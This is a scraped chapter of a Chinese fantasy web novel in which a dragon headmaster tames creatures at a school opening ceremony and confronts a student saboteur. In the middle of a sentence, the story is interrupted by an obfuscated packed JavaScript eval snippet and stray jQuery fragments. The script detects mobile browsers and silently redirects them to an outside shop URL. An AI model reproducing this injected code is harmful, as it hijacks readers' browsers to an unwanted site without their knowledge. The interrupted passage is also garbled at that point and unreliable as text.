何宁当场愣住:“爸?小宇?”
被西装男牵着的两脚兽幼崽朝何宁挥挥手,他本想跑到自己哥哥身边,一转头却又看见了正同样看着自己的蓝阡。
“小蓝哥哥!”何宇跑到旁边,踮脚抱住了蓝阡的一条腿,“我本来想天天给你发消息的,但爸爸不让我来打扰你。”
蓝阡不太习惯和其他生物接触,略带僵硬地摸摸人类幼崽的脑袋。
何宁看傻了,茫然注视着眼前发生的一切。
为什么这些污染物都这么听话地坐下?为什么他的父亲和弟弟会突然出现在这里,还叫蓝阡“救命恩人”?
西装男已经走上前拎起何宁,把人带到蓝阡面前:“还不快道歉!几天前要不是你们蓝校长,我和你弟弟估计都要被星盗抓去域外星域了!”
何宁想问他爸是不是弄错人了,但蓝阡单手拎起大灯的画面还历历在目,虽然还是感觉到不可置信,但他内心深处已经信了几分。
难道狮王污染物那次其实也不是意外?
何宁视线麻木地乱飞,最后停在正优哉游哉下台阶的黑色四耳猫污染物身上。
两次都有这只猫,莫非这只看上去又瘦又小的猫形污染物其实等级很高?可是它、他们这些人又为什么都围着蓝阡?
何宁的头被西装男一巴掌摁下,周边的声音在他的耳中有些模糊,眼前的景象却越发清晰。
他看见蓝阡裤兜里露出了半块宝石,宝石的截面不太平整,像是牙印。
礼堂顶部还有些灰在往下掉,空气中是翻涌的粉尘,随着呼吸被卷入鼻腔,带来些许痒意,惹得在场不少人都打起了喷嚏。
蓝阡揉揉鼻子,实在有些忍不住,将手虚掩在口鼻处小声打了个喷嚏。
“哈秋。”
声音很小,但龙刚刚才吞掉宝石,能量还没被完全消化掉。溢出的能量在嘴巴张开后又形成了缕缕蓝色火星,一眨眼又成了白烟消散。
目睹一切的何宁:“......”
谁能来告诉他,为什么他的新校长会喷火?
在江海月的示意下,西装男拎着道完歉后魂不守舍的何宁坐到一旁,何宇依依不舍地从蓝阡身旁离开,乖乖跟着爸爸和哥哥坐在座位上。
先前离开座位的教师及学生们也重新落座,这次的空位上都坐着或蹲着污染物,乍一看就像礼堂内坐满了人。
学员们又兴奋又害怕,他们大多数人只在模拟房间或星网上见过污染物,那些污染物都是野生的,具有危险性且会主动朝人类发起攻击。
强大的野生污染物甚至有不亚于人类的思维,最厉害的一批在联邦边境组织出了一条战线,在每年的蛰伏期过后便会不断向联邦发起进攻。那一带环境复杂,衍生出的污染物也格外强大,即使有机甲部队压制,每年也会折损许多士兵。
除此之外联邦境内也有大量野生污染物,每年死在野生污染物手中的公民不计其数。
正因如此,在从前的教学中,污染物都是放在他们的对立面,污染物养殖专业更是被大家看不起。
直到现在,强大的A+级污染物们都乖乖坐在椅子上,像是被驯服的宠物。
它们好像只是来填满空位的,坐下后便一动不动,只是偶尔舔舔爪子扇扇翅膀。
没了有心之人的干扰,开学典礼的流程走得很快。
蓝阡的稿子是校助李苑写的,来之前龙自己也看过两遍,念得很顺。
等新校长讲完,台下自然响起一片如雷鸣般的掌声,尤其是二年级以楚子旭为首的那帮人和教训着儿子的西装男。
一直cos石像的污染物们在这时也终于纷纷有了动作,长了爪子的拍爪子,有翅膀的拍翅膀,不方便的就用尾巴或者头敲座椅,还有干脆直接喵喵叫捧场的。
热闹到连污染物养殖系的岳教授都有些诧异。
他在阮语从比赛房间里出来后问过那天的前因后果,阮语那时候说蓝校长身边的猫污染物威慑住了狮王污染物,可跟着赵逐青张越看完整场比赛直播的他怎么会不清楚——威慑住污染物的分明是蓝阡本龙,猫污染物只不过是沾染上了龙的气息而已。
今天能带这些污染物到礼堂来,一是空位空着实在不好看,二是因为知道有蓝校长在发生不了意外。
不过他还是没想到污染物们居然会这么配合,一群动物激动得险些把桌椅拍碎,还是蓝阡淡定地比了停的手势后,它们才立即停下动作。
龙下台前又看了眼陆黎的位置,确认这人也在鼓掌后才收回视线。
——但是鼓掌声还不够大,先记一笔,等明天上课的时候就偷偷给屠龙者穿小鞋!
按照流程,校长讲话完毕后本该是学院投资人讲话,不过这个神秘人还是和前几年一样没露面,江海月对此习以为常,跳过这一段后结束了一波三折的开学典礼。
虽然学员对新校长和污染物们都很好奇,但这个时候已经到了饭点,饿着肚子的一大群人在老师的指挥下迅速离场,只剩下教师、污染物以及某些学员。
X0抓住机会,凑到蓝阡手边蹭蹭。
除狮王污染物的其余污染物蓝阡其实都没怎么接触过,大部分在比赛中见到过,但比赛中的污染物们只是段被写进程序里的数据,与它们而言蓝阡依旧是陌生的。
不过陌生并不代表着它们不会畏惧蓝阡身上的气息,哪怕X0只是依靠蹭蹭染上了一丁点,它们也本能臣服,听话地跟来这里。
狮王污染物只比X0慢了一步,最好的位置被霸占,它只能退而求其次地在蓝阡脚边打转。
聪明的大鸟污染物眼珠一转,扇着翅膀讨好地停在蓝阡前方的桌上,又扇扇翅膀招来一堆小鹦鹉污染物。
小小鸟们排好队后便开始大合唱,歌词随着音调七拐八拐,但依稀能听见什么“伟大的巨龙大人”“歌颂校长”。
狮王污染物见蓝阡面露欣赏之色,“吼”一声作势要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596825|204887||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
扑上去抓鸟,吓得鸟污染物们纷纷破了音,扑腾往上飞,羽毛掉了满桌。
蓝阡只朝狮王污染物看了一眼。
狮王污染物立即收回爪子,乖乖低头。
留着现场的人们见状咋舌,不禁感叹圣维亚学院的运气真是好,居然找到了这样一位连污染物都能驯服的校长。
在岳教授和阮语带着X0将一步三回头的污染物们弄走后,江海月、李苑领着蓝阡、何宁到了会议室,一起跟来的还有西装男、何宇以及作为证人的楚子旭。
“七天前你曾私自打开污染物养殖基地A+级污染物的隔离箱箱门,并试图引导污染物前往教职工宿舍,”江海月坐在蓝阡左侧,面色不善,“昨天晚上,你又偷偷带着工具爬上礼堂顶部将固定顶灯的几枚螺丝拆除,还用钉子和锤子将周边的墙弄出很多贯穿性裂痕,”
“除此之外,在上学期期末,你把黄校长设置成了几台教学机甲的攻击目标,险些引发事故;期中,你侵入欧阳校长的通讯器并试图收集他的信息......”
“何宁同学,我承认第一届校长给你们留下了很不好的印象,但你现在所做的一切早就超越了试探的范畴,之前的几次你误打误撞找出了藏在学院里的星盗和刺客,学院算你功过相抵,但这两次你又无缘无故对蓝校长动手——希望你能做出解释。”
何宁低着头,声音小到几乎听不清:“我怎么知道他个头小但这么厉害......”
西装男又是一巴掌拍在他头上:“你这是什么语气?”
何宁脸红得简直像被煮熟的螃蟹。
他原以为这矮校长是走后门进来的,二年级比赛输了也是因为人情世故。
楚子旭这家伙自从出了比赛就和他划清界限,直到刚刚他用他爸的通讯器看了今日新闻才知道,原来这个矮校长是真有两把刷子。
今日新闻播报的是上周的星盗劫船事件,大致是“震惊!神秘金发少年制服满船星盗!”,再配上几张模糊的背影图,真实性如何不提,但从他爸的反应来看,可能至少有六分真。
“对不起,蓝校长,我真的知道错了,”何宁朝蓝阡鞠躬,“请您给我一次改过自新的机会,我以后一定听您的话,认真学习好好做人。”
蓝阡拨弄着口袋里的宝石,随意点头:“嗯。”
龙其实并未感受到什么困扰,因此也不太在意两脚兽的认错和惩罚,他没管感激又羞愧的何宁,也没管眼中满是崇拜的楚子旭,和江海月简单说了句“走了”后便带着校助李苑离开。
“今天下午您可以好好休息,明天是一年级的军训,如果您想的话,可以和周跃他们一起监督新生。”李苑意有所指。
龙很快上钩:“一年级?军训?”
“嗯,就是些简单训练,跑圈、站军姿,还有表演才艺之类的。”
于是第二日一早,陆黎刚在机甲战斗系一年级一班的队伍中站好,抬头就看见了某条熟悉的龙。